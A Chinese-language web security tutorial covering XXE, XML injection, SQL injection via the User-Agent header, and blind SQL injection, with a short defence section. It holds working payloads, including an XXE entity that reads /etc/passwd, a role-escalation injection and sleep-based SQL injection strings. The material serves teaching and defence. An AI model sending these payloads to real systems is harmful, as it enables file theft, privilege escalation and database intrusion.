一 xml攻击步骤:
1 知识学习
Xml:
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
漏洞产生原因:
解析xml文件时允许加载外部实体,没有过滤用户提交的参数
危害性:
导致信息泄露、任意文件读取、DOS攻击和代码执行等问题;
某服务器端的xml文件内容如下,用户可以获取XML解析后的结果;
2 攻击方法
2.1 案列一
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [
<!ELEMENT copyright (#PCDATA)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<root version="2.0">
<data>
Here is the file content: &file;
</data>
</root>
服务端解析XML文件的时候请求实体file指定的URI(这里为file:///etc/passwd),并用请求结果替换file实体的引用锚,导致文件读取。
2.2 案列二
某服务器端的xml文件内容如下 :
<?xml version="1.0" encoding="UTF-8"?>
<USER role="guest">Attacker Text</USER>
此时如果攻击者输入的Attacker Text的内容为 :User1</USER><USER
role="admin">User2 ,那么将会产生如下xml :
<?xml version="1.0" encoding="UTF-8"?>
<USER role="guest">User1</USER>
<USER role="admin">User2</USER>
一旦应用程序读取了这个文件,并且给每个用户分配访问权限时,User2便获得了管理员权限。
3 防御
1. 常见的XML解析方法有:DOMDocument、SimpleXML、XMLReader,这三者都基于 libxml 库解析XML,所以均受影响;xml_parse 函数则基于 expact 解析器,默认不载入外部 DTD,则不受影响。可以在php解析xml文件之前使用libxml_disable_entity_loader(true)来禁止加载外部实体(该方法对上述三种 XML解析组件都有效),并使用libxml_use_internal_errors()禁止报错。
2. 对用户的输入做过滤,如<、>、'、"、&等。
转载自https://weibo.com/p/1001603752843713584682;
二 user Agent攻击步骤:
1 知识学习
User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
漏洞产生原因:
攻击者却将 SQL 查询语句 select * from (select(sleep(20))) 隐藏在了 HTTP 头部的 User-Agent 字段之中
2 攻击方法
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+'
User-Agent前半部分看起来挺正常的(好像是微软 IE 11),但是却以字符串+(select*from(select(sleep(20)))a)+结尾。攻击者试图对User-Agent值进行 SQL 注入。
普通的 SQL 注入通常是对 URL 及其参数进行的,但这里攻击者却将 SQL 查询语句select * from (select(sleep(20)))隐藏在了 HTTP 头部的User-Agent字段之中
三 盲注攻击:
1 攻击方法
第一类Boolean
比如在where语句中可以构造and 1=1来使返回页面不同
一个正常 一个返回不正常 95%存在注入点用
第二类时间的盲注
mysql主要涉及两个函数,sleep banchmark 基本是使用如下。
mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;
Empty set (27.00 sec)
mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
第三类报错的盲注
需要网站显示数据库报错信息,后面会有详细阐述。